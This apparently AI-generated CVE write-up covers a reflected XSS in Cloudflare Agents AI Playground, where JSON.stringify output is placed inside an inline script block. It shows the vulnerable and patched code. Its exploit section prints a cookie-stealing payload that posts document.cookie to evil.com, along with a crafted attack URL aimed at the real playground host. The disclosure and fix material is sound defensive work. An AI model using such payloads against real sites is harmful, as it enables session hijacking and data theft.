CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-1721

CVE-2026-1721: When JSON.stringify() Betrays You in Cloudflare Agents

Alon Barad
Alon Barad
Software Engineer

Feb 14, 2026·5 min read·142 visits

Executive Summary (TL;DR)

Reflected XSS in Cloudflare Agents AI Playground (< 0.3.10) via OAuth callbacks. Developers used `JSON.stringify` inside a `<script>` block, assuming it was safe. It wasn't. Attackers can inject `</script>` to break out and steal chat logs or hijack MCP sessions.

A classic Reflected Cross-Site Scripting (XSS) vulnerability found in the Cloudflare Agents AI Playground. The flaw stems from a misunderstanding of how browsers parse script tags within inline HTML, allowing attackers to break out of a JSON string context and execute arbitrary JavaScript. This exposes sensitive LLM chat history and connected Model Context Protocol (MCP) servers to unauthorized access.

The Hook: AI, OAuth, and Broken Dreams

Everyone is rushing to build AI Agents right now. It's the new gold rush. Cloudflare joined the party with their Agents SDK, designed to connect Large Language Models (LLMs) to tools via the Model Context Protocol (MCP). To demonstrate this power, they shipped the AI Playground, a nifty web app where developers can test their agents and OAuth flows.

But here's the thing about OAuth: it's a messy dance of redirects, callbacks, and state parameters. When things go wrong—like a user denying access—the provider kicks the user back to the application with an error message. Ideally, the app handles this gracefully.

In the case of the AI Playground, the developers tried to be helpful. They wanted to pop up an alert box telling you exactly why authentication failed. Unfortunately, in their attempt to be helpful, they handed attackers a loaded gun pointed directly at the user's session. It's a classic tale of "functionality over security" meeting "misunderstood browser mechanics."

The Flaw: The Myth of JSON Safety

The vulnerability lies in a dangerous misconception that has plagued web development for decades: the belief that JSON.stringify() is a security function. It is not.

In the vulnerable code, the application receives an error_description query parameter from the URL. To display this to the user, the server constructs an HTML response containing an inline <script> block. The developer logic went like this: "I'll take the untrusted input, wrap it in JSON.stringify(), and that will escape all the quotes. Therefore, it's safe to drop into a JavaScript variable."

Wrong.

While JSON.stringify() does escape quotes (" becomes \"), it does not escape HTML characters like < or /. When a browser parses HTML, it doesn't care about JavaScript syntax rules until it finishes parsing the tags. If the HTML parser sees the sequence </script>, it immediately closes the script block, regardless of whether that sequence is inside a JavaScript string literal. This behavior, known as "script injection via HTML context," allows an attacker to terminate the developer's script prematurely and start their own.

The Code: Anatomy of a Screw-Up

Let's look at the crime scene in site/ai-playground/src/server.ts. This is the customHandler responsible for processing the OAuth callback.

The Vulnerable Code:

customHandler: (result: MCPClientOAuthResult) => {
  // ... success handling omitted ...
 
  // VULNERABLE: result.authError comes from URL query params (?error_description=...)
  const safeError = JSON.stringify(result.authError || "Unknown error");
 
  // The injection happens here inside the Template Literal
  return new Response(
    `<script>alert('Authentication failed: ' + ${safeError}); window.close();</script>`,
    { headers: { "content-type": "text/html" }, status: 200 }
  );
}

Do you see it? The ${safeError} is injected directly into the HTML string. If safeError contains "</script>", the browser sees this:

<script>alert('Authentication failed: ' + "</script> ...

The browser says "Okay, script over!" and dumps the rest of the payload into the DOM as raw HTML. If the attacker follows that closing tag with a new opening <script> tag, they own the execution flow.

The Exploit: Closing the Door to Open a Window

Exploiting this is trivial. We just need to craft a URL that closes the developer's script tag and opens our own. The target is the error_description parameter on the callback endpoint.

The Payload:

</script><script>fetch('https://evil.com/steal?c='+document.cookie)</script>

The Attack URL:

https://ai-playground.cloudflare.com/callback
  ?error=access_denied
  &error_description=</script><script>alert(document.domain)</script>
  &state=VALID_STATE

When the victim clicks this link (perhaps disguised in a phishing email or a "Try my new AI Agent" button), the server responds with:

<script>alert('Authentication failed: ' + "</script><script>alert(document.domain)</script>"); window.close();</script>

Execution Flow:

  1. Browser starts executing the first script.
  2. Browser hits </script> inside the string. Script 1 Terminated.
  3. Browser sees <script>alert(document.domain)</script>. Script 2 Executed.
  4. The attacker's code runs in the context of ai-playground.cloudflare.com.

The Impact: Stealing the Brain

So, we popped an alert box. Who cares? In the context of an AI Playground, the stakes are actually quite high. This isn't just a brochure site; it's a stateful application holding sensitive data.

  1. Chat History Exfiltration: The playground maintains a history of your conversations with the LLM. An attacker can use the XSS to read local storage or session memory and exfiltrate your entire chat history. If you've been pasting API keys or proprietary code into the AI, the attacker has it now.
  2. MCP Server Hijacking: The Model Context Protocol connects the AI to tools. If the victim has authenticated sessions with private MCP servers (e.g., a database connector or a GitHub integration), the attacker can use the XSS to trigger tool calls on those servers. Imagine an attacker forcing your AI agent to commit malicious code to your repo via a compromised playground session.
  3. Session Persistence: By injecting a Service Worker or manipulating local storage, the attacker could maintain persistent access to the playground every time the user returns.

The Fix: Nuke It from Orbit

Cloudflare's fix in version 0.3.10 was simple and effective: they stopped reflecting the error message entirely. Instead of trying to sanitize the input (which is hard to do right in this context without a heavy library), they simply removed the dynamic content from the response.

The Patched Code:

// PATCHED: No more dynamic interpolation
return new Response("<script>window.close();</script>", {
  headers: { "content-type": "text/html" },
});

If the authentication fails, the window simply closes. The error handling was moved to the parent window or handled via safe state management where React's automatic escaping protects the user.

Lesson for Developers: If you find yourself writing strings into a <script> tag manually, stop. You are almost certainly doing it wrong. Pass data via data attributes, CSP-safe JSON script blocks, or—better yet—don't reflect user input in script contexts at all.

Official Patches

CloudflarePull Request #841: Fix XSS in playground

Fix Analysis (1)

Technical Appendix

CVSS Score
6.2/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

Cloudflare Agents AI PlaygroundApplications using `agents` package < 0.3.10Custom OAuth callback implementations based on the vulnerable example

Affected Versions Detail

Product
Affected Versions
Fixed Version
Cloudflare Agents
Cloudflare
< 0.3.100.3.10
AttributeDetail
Vulnerability TypeReflected Cross-Site Scripting (XSS)
CWE IDCWE-79
CVSS Score6.2 (Medium)
Attack VectorNetwork (Reflected)
Exploit StatusPoC Available
ImpactSession Hijacking, Data Exfiltration

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Fix merged in Cloudflare Agents
2026-02-04
CVE-2026-1721 Assigned and Published
2026-02-13

References & Sources

  • [1]GitHub PR #841
  • [2]NVD Entry

More Reports

•13 minutes ago•CVE-2026-54590
5.9

CVE-2026-54590: Path Traversal and Authentication Bypass in AsyncSSH via Username Token Substitution

An incomplete input sanitization fix in AsyncSSH version 2.23.0 allows unauthenticated remote attackers to bypass directory restriction controls and perform path-traversal attacks. When the system is configured to perform username token substitution inside its AuthorizedKeysFile directive, attackers can manipulate downstream path resolution mechanisms via tilde expansion and environment variable references. This flaw permits authentication bypasses by forcing the server to read public keys from unauthorized file locations outside the restricted environment.

Amit Schendel
Amit Schendel
0 views•6 min read
•about 1 hour ago•CVE-2026-54591
8.1

CVE-2026-54591: Arbitrary File Overwrite via Path Traversal in AsyncSSH SCP Implementation

CVE-2026-54591 is a high-severity path traversal vulnerability in AsyncSSH's SCP implementation prior to version 2.23.1. When an AsyncSSH-based SCP client connects to a malicious or compromised SSH server and performs a file transfer, the server can send crafted filenames containing relative path sequences. Because the client failed to validate these filenames before resolving the final storage path, a malicious server could write or overwrite arbitrary files on the client machine within the security context of the executing application. This vulnerability is mapped to GitHub Security Advisory GHSA-2wxc-x7rj-hg8f.

Amit Schendel
Amit Schendel
2 views•7 min read
•about 4 hours ago•CVE-2026-55419
5.3

CVE-2026-55419: Unrestricted File Upload in Pollen Robotics Reachy Mini SDK

An unrestricted file upload vulnerability exists in the Pollen Robotics Reachy Mini robot daemon prior to version 1.8.2. Unauthenticated remote attackers can upload arbitrary files to the temporary sounds directory over the network, leading to disk pollution and staging for potential secondary local exploits.

Alon Barad
Alon Barad
6 views•5 min read
•about 5 hours ago•CVE-2026-55637
8.8

CVE-2026-55637: Remote Administrative Command Execution in genieacs-mcp via DNS Rebinding

CVE-2026-55637 is a high-severity DNS rebinding vulnerability affecting the genieacs-mcp Model Context Protocol server. Prior to version 0.3.2, the application's Streamable HTTP transport lacks adequate Host and Origin header validation. This omission allows external attackers to bypass the Same-Origin Policy through a victim's browser and issue unauthenticated commands to loopback listeners.

Alon Barad
Alon Barad
6 views•5 min read
•about 6 hours ago•CVE-2026-48853
9.2

CVE-2026-48853: Remote Code Execution and Denial of Service in elixir-grpc via Erlpack Deserialization

A critical vulnerability exists in the elixir-grpc library's Erlpack codec, where the unsafe deserialization of Erlang External Term Format (ETF) payloads allows unauthenticated remote attackers to cause a Denial of Service through atom table exhaustion or execute arbitrary code on the host server.

Amit Schendel
Amit Schendel
3 views•8 min read
•about 7 hours ago•CVE-2026-48599
7.6

CVE-2026-48599: Authorization Bypass in elixir-grpc/grpc Transcoding Layer

An authorization bypass vulnerability exists in the elixir-grpc/grpc library version 0.8.0 up to 1.0.0. Due to insecure map merging precedence inside the HTTP-to-gRPC transcoding engine, query-string parameters and request bodies can override routing path variables, allowing attackers to execute unauthorized actions on other accounts.

Alon Barad
Alon Barad
7 views•6 min read